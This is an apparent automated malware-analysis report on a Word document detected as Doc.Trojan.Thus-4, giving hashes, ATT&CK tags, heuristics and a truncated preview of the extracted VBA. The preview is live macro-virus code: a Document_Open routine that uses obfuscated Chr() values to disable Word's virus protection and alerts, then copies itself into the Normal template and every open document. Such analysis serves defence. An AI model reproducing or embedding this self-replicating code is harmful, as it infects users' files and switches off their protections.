Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e596e52c51e9b5bb…

MALICIOUS

Office (OLE)

47.0 KB Created: 2000-08-29 19:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2702bd677ee49a7cd9ffcc63832c5ac0 SHA-1: 9b67302658a82b2551699f70efc3954a28474ed8 SHA-256: e596e52c51e9b5bbf1804219727dcb4c79f9321d7efff05ff87ad8ca8c61edb6
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and a Document_Open macro, indicating malicious intent. The VBA code attempts to disable macro security features and potentially copy itself to the Normal template. The ClamAV detection 'Doc.Trojan.Thus-4' strongly suggests a known malicious document type, likely a downloader.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-4
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43886 bytes
SHA-256: a6fe2174f7328f002c37af5af6b4d50ac6a7de13f2eca0bf28a8863aecbd1050
Detection
ClamAV: Doc.Trojan.Thus-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

'Thus_001'
'NIST_32abcp2'
Private Declare Function CF& Lib "kernel32" Alias "CopyFileA" (ByVal _
    lpExistingFileName As String, ByVal lpNewFileName As String, ByVal _
    bFailIfExists As Long)

Private Sub Document_Open()
Dim Res As String, x As String, k As Integer, Sd As Boolean, Nt As Boolean
    On Error Resume Next
2
    If Application.ShowVisualBasicEditor Then GoTo 2
With Application
    .EnableCancelKey = 0
    .ScreenUpdating = False
    .Options.VirusProtection = Chr(3696 / 7 / 11)
    .Options.ConfirmConversions = Chr(8976 / 11 / 17)
    .Options.SaveNormalPrompt = Chr(1872 / 3 / 13)
    .Options.SavePropertiesPrompt = Chr(9072 / 9 / 21)
    .DefaultSaveFormat = ""
    .DisplayAlerts = 0
    .DisplayStatusBar = Chr(48)
End With
         WordBasic.DisableAutoMacros 0
    If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 13) <> "'NIST_32abcp2" Then
     NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    Nt = -1
    End If
         Randomize
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Left(Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 13) <> "'NIST_32abcp2" Then
    Sd = Application.Documents.Item(k).Saved
    Application.Documents.Item(k).ReadOnlyRecommended = Chr(48)
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    If (Sd) And (Dir(Application.Documents.Item(k).FullName, 7) <> "") Then Application.Documents.Item(k).Save
    End If
    Next k
    For k = 1 To Application.Templates.Count
    If Left(Application.Templates.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 13) <> "'NIST_32abcp2" Then
    Sd = Application.Templates.Item(k).Saved
    Application.Templates.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Templates.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Templates.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Templates.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    If (Sd) And (Dir(Application.Templates.Item(k).FullName, 7) <> "") Then Application.Templates.Item(k).Save
    End If
    Next k
    If Nt Then Exit Sub
Dpio
If ActiveDocument.SaveFormat < 2 Then
    If (ActiveDocument.Saved = False) And (ActiveDocument.ReadOnly = False) Then
       If Dir(ActiveDocument.FullName, 7) = "" Then
       ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, ReadOnlyRecommended:=0
       Else: ActiveDocument.Save
       End If
       ActiveDocument.Saved = False
    End If
Rcy Activ
... (truncated)

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